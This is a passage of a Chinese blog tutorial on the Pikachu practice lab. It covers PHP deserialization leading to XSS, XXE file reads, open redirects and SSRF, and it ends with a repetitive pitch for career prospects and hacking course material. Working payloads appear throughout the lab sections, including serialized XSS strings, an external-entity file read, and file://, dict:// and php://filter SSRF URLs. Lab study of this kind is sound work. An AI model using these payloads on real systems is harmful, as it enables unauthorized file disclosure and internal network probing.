4: 表示变量名称的长度

i: 表示数据类型为INT

<?php
class DemoClass{
	public $name = "henry";
	public $sex = "man";
	public $age = 7;
}

$example = new DemoClass();
echo serialize($example);
#输出结果: O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}

?>
unserialize反序列化

反序列化简单来说就是将序列化后的字符串还原成对象, 如下代码所示

<?php
class DemoClass{
	public $name = "henry";
	public $sex = "man";
	public $age = 7;
}

$example = new DemoClass();
$SerialString = serialize($example); 
$Object = unserialize($SerialString);

print($Object->name); #输出: henry

?>
涉及魔法函数

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

如下所示为常见的魔法函数:

  • __construct(): 当一个对象创建时被调用
  • __destruct(): 当一个对象销毁时被调用
  • __toString(): 当一个对象被当做一个字符串使用
  • __sleep(): 在对象被序列化之前执行
  • __wakeup(): 在序列化之后立即被调用

代码审计

通常反序列化漏洞的发现及利用是代码审计实现的

审计unser.php, 前端将$_POST['o']变量传递给后台, 后台将此变量反序列化成对象, 然后输出该对象的test属性

由此, 可通过构造序列化的字符串传递给$_POST['o']来实现漏洞利用

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}
?>

利用实例

自行新建一个php文件来生成用于漏洞利用的字符串:
O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

<?php
class S{
    var $test = "<script>alert('Hacking')</script>";
}

$example = new S();
$SerialString = serialize($example); 
echo $SerialString; #输出: O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

?>

将此字符串通过POST请求传递给后台, 随后触发XSS反射型漏洞

![动画](https://img-
blog.csdnimg.cn/img_convert/f3e59cc2756b614fef40c337f8595283.gif)

十四、XXE漏洞

概述

XXE漏洞, 又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容, 从而让服务器按照指定的配置执行,
也就是说服务端接收和解析了来自客户端的xml数据, 由于没有对此数据做严格的安全控制, 从而导致xml外部实体注入

在现在很多语言里用于解析xml的函数, 默认禁止解析外部实体内容, 从而就避免了此漏洞。以PHP为例,
在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析

XML+DTD基本语法

DTD(Document Type Definition), 即文档定义类型, 用来为XML文档定义语义约束

<!--声明xml的版本号-->
<?xml version="1.0"?>

<!--定义此文档是note类型的文档-->
<!DOCTYPE note[ 

<!--外部实体声明-->        
<!ENTITY entity-name SYSTEM "URI/URL">

]>

<!--文档元素--> 
<note>
<head>Reminder</head>
<body>You are a good man</body>
</note>

代码审计

前端将$_POST['xml']传递给变量$xml,
由于后台没有对此变量进行安全判断就直接使用simplexml_load_string函数进行xml解析, 从而导致xxe漏洞

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

因此可以构建恶意xml通过post请求提交给后台, 以此实现xml外部实体注入, 这里先构建个简单的xml提交试试, 页面成功回显"hello world"

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY test "hello world">
]>
 
<name>&test;</name>

![动画](https://img-
blog.csdnimg.cn/img_convert/30f283fb41cccd0faef19243096f351f.gif)

利用实例

xml外部引用不仅支持file协议, 还支持http, ftp协议

如下代码所示, 利用file协议读取网站根目录下的flag.txt文件

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY file SYSTEM "file:///E:/phpStudy/WWW/flag.txt">
]>
<x>&file;</x>

![动画](https://img-
blog.csdnimg.cn/img_convert/7f8dd8f165e1ad7d154f65743345f5f0.gif)

十五、URL重定向

概述

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方

如果后端采用了前端传进来的参数作为了跳转的目的地,而又没有做判断的话, 则可能发生"跳错对象"的问题

若一个比较有名的域名出现了URL重定向漏洞, 则黑客可以通过该域名跳转至自己的钓鱼页面, 以此实现迷惑用户

代码审计

查看urlredirect.php源码,前端将传递 $_GET['url']后台, 后台没有对其作任何安全判断就赋值给了变量$url,
然后通过header函数进行跳转

$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
    $url = $_GET['url'];
    if($url == 'i'){
        $html.="<p>好的,希望你能坚持做你自己!</p>";
    }else {
        header("location:{$url}");
    }
}

利用实例

点击前两行超链接都没什么反应, 点击第三行超链接时url跳转至unsafere.php页面

使用burpsuite进行抓包, 通常来讲存在URL重定向漏洞的页面的状态码为302

![1](https://img-
blog.csdnimg.cn/img_convert/b61839f3260be671cfa2f937e65d88c7.png)

![1](https://img-
blog.csdnimg.cn/img_convert/dab98051c042a4dd927d240c19f1c174.png)

将参数url修改成要跳转的链接

![动画](https://img-
blog.csdnimg.cn/img_convert/1471c059cbb7174b0b689a3e38c30125.gif)

十六、SSRF漏洞

概述

SSRF(Server-Side Request) , 又称为服务器请求伪造,
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

SSRF(curl)

Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等

首先点击第一关的链接, 点进去可以看到传递了参数url, 此值采用了http协议进行访问

![image-20221201160340259](https://img-
blog.csdnimg.cn/img_convert/3357ed9a1c0d9c4438fdc7ba6a636b57.png)

利用file协议让服务器访问自己本地的文件,
构造的payload为http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///E:/phpStudy/WWW/flag.txt

![1](https://img-
blog.csdnimg.cn/img_convert/2554eb05b0a1e36683888523bd030266.png)

利用dict协议扫描3306端口是否开放:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

![1](https://img-
blog.csdnimg.cn/img_convert/3055681ba6b6770973e115d252964aa0.png)

SSRF(file_get_content)

该关卡会用到file_get_content函数, 该函数的作用是读取文件的内容, 可直接读取主机绝对路径或相对路径的文件,
也可以使用php伪协议进行利用

http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///E:/phpStudy/WWW/flag.txt

![image-20221202162101988](https://img-
blog.csdnimg.cn/img_convert/c1597e8d2b511f0ea9e60a4590f3a958.png)

可通过php伪协议读取指定文件

http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=E:/phpStudy/WWW/flag.txt

![image-20221202162304298](https://img-
blog.csdnimg.cn/img_convert/865cff7a94d301464e9cca24abf84588.png)

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值